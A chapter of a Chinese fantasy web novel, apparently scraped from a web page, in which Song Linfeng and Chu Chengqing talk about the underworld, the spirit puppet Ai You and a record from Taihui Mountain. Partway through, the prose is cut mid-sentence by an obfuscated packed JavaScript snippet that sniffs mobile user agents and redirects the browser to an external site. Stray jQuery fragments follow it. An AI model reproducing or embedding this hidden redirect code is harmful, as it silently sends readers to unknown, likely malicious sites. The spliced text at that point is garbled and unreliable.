褚乘清应声而出。
他已经换回平素的装扮,走近时脸上还挂着一贯的嬉皮笑脸:“阿宋别气。”
宋临风并没有生气,只是一如既往地一碰见褚乘清就莫名少了耐心。
他原地反应好一会儿,收回跟褚乘清对撞的视线,神情归于平淡,静静地反问道:“你倒是说说,我气甚?”
这一问倒是把褚乘清给问不会了,讪讪的笑容挂在面上,望着宋临风眨了下眼,认错道:“方才阿幼调皮捣乱,我不该由着他。”
艾幼一听,当即从褚乘清长长的袍子里钻出来,无言地瞪他……半眼。
——结果刚探出个头,就被褚乘清不动声色摁了回去。
宋临风看着他们的小动作,看破不说破地问:“是艾幼调皮捣乱吗?”
褚乘清面不改色道:“是啊。”
宋临风道:“那他为何要调皮捣乱,针对姬满?”
他加重了“调皮捣蛋”四个字的读音。
褚乘清沉吟一阵,认真分析道:“或许是看不惯他的行事作风。想必阿宋也不喜欢他对你动手动脚吧?”
宋临风纠正道:“任何人,不止姬满。”
褚乘清像是没听见,继续说:“阿幼这么喜欢阿宋你,又怎么会愿意看见他的……他拖长了音调,”阿宋哥哥为此不高兴呢。”
与艾幼平时的语调不同,“阿宋哥哥”四个词从褚乘清口中出来,黏黏腻腻调情般地别有一番滋味,像是不受控的电流似的,酥酥麻麻地钻进宋临风心间。
见宋临风反应,褚乘清故意调戏般叫一句:“阿宋哥哥,你说是也不是?”
宋临风咬牙:“……是。”
褚乘清得寸进尺继续诬赖道:“那阿幼为了不让……”他又状似不经意地顿顿,“为了不让阿宋哥哥不开心,所以调皮捣蛋针对姬满,是不是合情合理?”
为了不再听这厮故意哥哥长哥哥短来恶心人,宋临风僵硬地“嗯”一声,道,“合情合理。”
接着又问,“那你藏着他,不担心我生气追责,牵连到你吗?”
褚乘清道:“担心啊。”
他说着,长袍底下突然蛄蛹一下,他伸手拍了拍以示安抚,接着不知想到什么浅笑一声,憋着坏说:“可子女闯祸理应由父母担责。”
这下褚乘清没摁住艾幼,小小一只从袍子下钻出来,带着满脸问号。
褚乘清低头,大言不惭道:“一日为父终生为父,你毕竟叫过我好一段时间阿爹呢。”
宋临风断言,论不要脸这世上谁任何人都比不过褚乘清这货。
艾幼听了这话转念一想,大概觉得确实有些道理,带着问号又钻了回去。
宋临风见状有些头疼,心道这灵傀是不是灵智没开全,真是有够好忽悠。
他懒得再跟褚乘清扯皮,直觉把话题引回正轨:“县衙那日被重伤后,你们两个去了哪里?”
褚乘清找了张椅子坐下,半真半假地说:“人死灯灭,自然是去阴曹地府。”
艾幼还钻在他衣袍之下不肯出来,宋临风看了好几眼那鼓着的怪异人形大包。
“可有见到什么奇怪的场景?”
“没有。”褚乘清摇头,“阿宋这样问,难道你在那之后看见了什么奇怪的东西吗?”
宋临风:“……”
他涨着脸说:“没有!”
褚乘清:“哦。”
不知怎的,宋临风莫名就带了几分心虚,总觉得这个“哦”里包含意味深长:“你不信?”
褚乘清挑眉,奇道:“我为什么不信?难道阿宋看见了见不得人的事情?”
说罢,无比自然地挽起一截袖口,给自己倒了杯茶。
袖口上的红山茶就这样暴露在宋临风的视线之中。宋临风觉得灼眼,好半晌蹦出来句:“你能不能把衣裳穿好?”
褚乘清一愣,随即开始检查自身装扮,再三确认着装确实没有任何不得体的地方,正色问:“请神君赐教,我衣裳哪里没穿好?”
神君当然赐教不出来。
宋临风总不能说他一看见红山茶就想起来在幻境里面看到的那些难以启齿的画面吧?
宋临风随便扯了个理由:“如今在魇境,你这样一身打扮跟魇境里面的人差别太大,被人撞上又是一桩麻烦事。”
褚乘清却道:“这个阿宋大可放心,他们看不见我了。”
宋临风看他。
褚乘清说:“毕竟我已经死了。”
宋临风心脏抽痛一瞬:“死了?”
“闭眼了,断气了,阴曹地府下过了,应当算是死了。”褚乘清道。
宋临风脸色难看。
过了会儿,褚乘清发现这话有歧义,解释说:“是我在魇境中所扮演的这个人死了。他死在县衙的那场妖患里,而我那刻身为他,经历了他这一生,自然也就替他走了一趟黄泉路。”
宋临风完全没听进去。
幻境中褚乘清各种惨死的惨状不断在他脑海循环。
宋临风不自觉攥紧拳头,掐得掌心渗血。
褚乘清茶也不喝了,起身上前两步握住宋临风的手。艾幼亦步亦趋跟在后面,蹬着小腿爬上榻,不住扯着宋临风衣袖晃悠。
“阿宋?”
“阿宋哥哥……”
不知过了多久,宋临风终于回过神来,眸中还带了几丝迷茫。
褚乘清担忧道:“阿宋,你有些不对劲。”
宋临风眼中迷茫稍纵即逝,片刻便恢复如初:“无碍。”
他自然发现了自己不对劲。
自从进了这个魇境,尤其是那场幻境之后,他对褚乘清就有一种不知来处的在意。他曾在心里无数次告诫自己要分清显示和虚幻,不要被那些有的没的子虚乌有的东西影响心绪。
可就是因为无比清楚才更难以自抑。
甚至越发有一种自欺欺人的痛苦感。
宋临风不禁腹诽,这魇境究竟是谁的劫?
“自然是姬府公子和虎极之间的恩怨形成的劫难。”褚乘清突然道,“连委蛇都是局外人。”
宋临风:“你说什么?”
褚乘清道:“方才你不是问魇境是谁的劫难吗?”
宋临风:“我问了吗?”
褚乘清:“问了。”
而褚乘清的话在他这里没有太多可信度,宋临风低头看还扯着自己衣袖的艾幼。
艾幼眨巴眨巴眼睛,乖巧点头:“问了。”
宋临风不再纠结,只当是自己在心里吐槽时不注意顺嘴说出来了。他揪着褚乘清方才透露的信息问:“为何说委蛇是局外人?你又是从何得知的?”
褚乘清神神秘秘道:“阿宋莫不是忘了我的身份。”
宋临风一时半会儿还真没记起来,默了须臾才说:“地仙。”
游走阴阳两界,替酆都执行阴司令的地仙。
“对。”褚乘清在榻沿坐了下来,“我去黄泉一遭,相当于阿宋回一趟神界。”
宋临风明白了,褚乘清回到自己的地界,岂不是相当于放虎归山,还有什么东西能够限制住他呢?
“那你看见了什么?”
“唔……”褚乘清回想着,“确实看见了挺多。”
“捡重要的说,别卖关子。”
“我们被卷入魇境,扮演着里面的相对应的人物,就总以为自己是局外人。但其实我们早已陷入局中,成为其中一员,并且回到了当年的时间节点。”褚乘清语速飞快,“魇境内的时光虽与外界相差数百年,但阴司还是那个阴司,不会受到任何影响。刚到阴司的时候我与阿幼并不在一处。阿幼他实在特殊,我又不能确定他在阴司还会不会受到魇境影响,就先去找了他。”
艾幼是灵傀,身躯是最让人眼红的宝物。那时的野鬼村并没有经历
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875580|176302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宋临风放的那把火,若不小心闯进孤魂恶鬼聚集的地界,被为非作歹的恶鬼夺了身躯反阳,人间必定要闹上好一出乱子。
褚乘清语气严肃:“我去了野鬼村,果然在里面找到了阿幼,还见到了想对阿幼下黑手的薛福。”
薛福死状凄惨,四肢不全。
魂魄到了黄泉地府,也一样的残缺不全。
于是不只在何人的怂恿下,他盯上了艾幼。
“阿爹救了我。”艾幼说。
他似乎叫惯了褚乘清阿爹,一时半会改不了口。
宋临风不动声色观察艾幼,确认他身上没有任何一处损伤后才道:“薛福呢?”
宋临风素来放肆惯了,当初凭心情做出烧野鬼村这样的事,除了长司魂能将他问责一外没人能奈何。
而褚乘清不同,在阴间的权限比不得宋临风。阴司有阴司的规矩,褚乘清在凡间行事不受阴间管制,但在阴司避免不了束手束脚。
就好比野鬼村这样的恶鬼夺人身躯入轮回道,听起来虽然残忍不堪,阴司却是一直睁一只眼闭一只眼,从来没有明令禁止的。
约定俗成般,任何阴间人都没有插手阴间杂事的先例。
“阿爹揍了他好几顿。”艾幼扬起下巴,无比自豪道,“往死里揍的,但是揍不死他。”
人都死成鬼了还能怎么死?
再打个魂飞魄散吗?
宋临风面色几变,忍不住对褚乘清道:“你好歹也是有职在身的仙官,这么明目张胆地针对一个凡人魂魄,不怕被上头问责?”
褚乘清眉头紧锁,可怜巴巴道:“神君要去向无常大人告状,然后擒我问罪么?”
宋临风阴阳怪气:“若论告状,谁能比得过你们阴司的人呢?”
酆都门前的总差跑上神界参他一本的事宋临风可还没忘。
褚乘清无辜道:“小仙跟他们不一样。”
宋临风皮笑肉不笑:“这谁知道。”
褚乘清比手指发誓:“褚某待神君一片赤忱真心,漫天神佛可鉴。”
宋临风不知从哪儿摸出来颗石子儿往褚乘清手腕上弹:“对着神祇向神发誓,没诚意透了。”
褚乘清:“我……”
宋临风直接打断他:“还没说找到艾幼之后呢,发生了什么?”
褚乘清捏着发红的手腕关节,思索片刻后说:“我实在好奇姬府后面发生了什么,就找判官大人讨了份卷宗。”
“凡间事在阴司还有专门的卷宗吗?”
“自然没有。”
“那你讨的什么?”
“太徽山记事录。”
“上面写的什么?”
褚乘清有些迟疑:“阿宋你……确定想听这个?”
宋临风道:“不能听吗?”
“那倒没有,”褚乘清顿了顿,“不过阿宋得答应我听了以后绝对不生气,我才能说。”
他想了想,又补充说:“生气也成,但不能迁怒不理我。”
宋临风点头:“嗯。”
褚乘清道:“那我说了?”
宋临风又点头:“好。”。
褚乘清却变卦:“要不阿宋发个誓说绝对不生气吧?”
宋临风敛容,一言不发地看他。
褚乘清被盯得直起鸡皮疙瘩,好半晌后才开口。
“太徽山卷宗有录在册。”褚乘清声音平缓而平稳,十分正经道,“泓宇十年,太徽山新届弟子下山历练,在太徽山掌教首席弟子姬无恙带领之下无一伤亡,大胜而归,打破太徽山往年弟子历练记录成为之最。”
“唯一搭上的,是那位姬师兄俗家府上几个不长眼横冲直撞的下人。”
“死了个呆子,折了个孩子。”
“……”宋临风衷心评价,“倒也没错。”
褚乘清观察着宋临风脸色,试探着继续说:“……还重伤了个傻子。”